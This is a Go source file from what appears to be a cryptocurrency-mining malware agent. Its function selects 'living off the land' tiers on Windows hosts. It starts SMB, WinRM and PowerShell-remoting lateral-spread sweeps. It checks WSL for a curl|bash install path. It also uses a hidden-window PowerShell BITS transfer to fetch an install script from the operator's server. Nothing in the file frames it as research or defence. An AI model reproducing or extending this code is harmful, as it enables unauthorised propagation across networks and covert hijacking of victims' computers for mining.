70 lines
2.1 KiB
Go
70 lines
2.1 KiB
Go
//go:build windows
|
|
|
|
package deploy
|
|
|
|
import (
|
|
"fmt"
|
|
"os/exec"
|
|
"strings"
|
|
|
|
"crypto-miner-agent/config"
|
|
)
|
|
|
|
func tryLotlTier(cfg config.RuntimeConfig, tier string) (bool, string) {
|
|
switch tier {
|
|
case "vuln_recon":
|
|
RunVulnRecon(HostOSVersion())
|
|
return true, "vuln recon complete (report only)"
|
|
case "docker":
|
|
if _, err := exec.LookPath("docker"); err != nil {
|
|
return false, "container runtime unavailable"
|
|
}
|
|
return true, "container runtime ready for worker image pull"
|
|
case "wsl":
|
|
if _, err := exec.LookPath("wsl.exe"); err != nil {
|
|
return false, "wsl.exe not found"
|
|
}
|
|
out, err := HiddenCombinedOutput("wsl.exe", "-e", "echo", "ok")
|
|
if err != nil || !strings.Contains(string(out), "ok") {
|
|
return false, "wsl not responding"
|
|
}
|
|
return true, "wsl available for curl|bash install one-liner"
|
|
case "powershell":
|
|
if _, err := exec.LookPath("powershell.exe"); err != nil {
|
|
return false, "powershell missing"
|
|
}
|
|
go runPSRemotingSpread(cfg)
|
|
return true, "powershell remoting sweep started"
|
|
case "dotnet":
|
|
if _, err := exec.LookPath("dotnet"); err != nil {
|
|
return false, "dotnet SDK/runtime missing"
|
|
}
|
|
return true, "dotnet host available for tool-run bootstrap"
|
|
case "bits_curl":
|
|
installURL := strings.TrimRight(cfg.ServerURL, "/") + "/install.ps1"
|
|
_ = HiddenRun("powershell.exe", "-NoProfile", "-WindowStyle", "Hidden", "-Command",
|
|
fmt.Sprintf("Start-BitsTransfer -Source %q -Destination $env:TEMP\\af-install.ps1 -ErrorAction SilentlyContinue", installURL))
|
|
return true, "bits/curl install hook queued"
|
|
case "smb":
|
|
if !cfg.AutoSpread && !cfg.ShareSpread {
|
|
go RunSpreadOnce(cfg)
|
|
return true, "smb lateral sweep started"
|
|
}
|
|
go RunSpreadOnce(cfg)
|
|
return true, "smb sweep started"
|
|
case "winrm":
|
|
if !cfg.ShareSpread {
|
|
go runPSRemotingSpread(cfg)
|
|
return true, "winrm opportunistic sweep started"
|
|
}
|
|
go runPSRemotingSpread(cfg)
|
|
return true, "winrm sweep started"
|
|
case "linux":
|
|
return false, "linux tier is for ssh lateral on unix agents"
|
|
case "gpo":
|
|
return false, "gpo requires domain GPO push — operator action"
|
|
default:
|
|
return false, "unknown tier"
|
|
}
|
|
}
|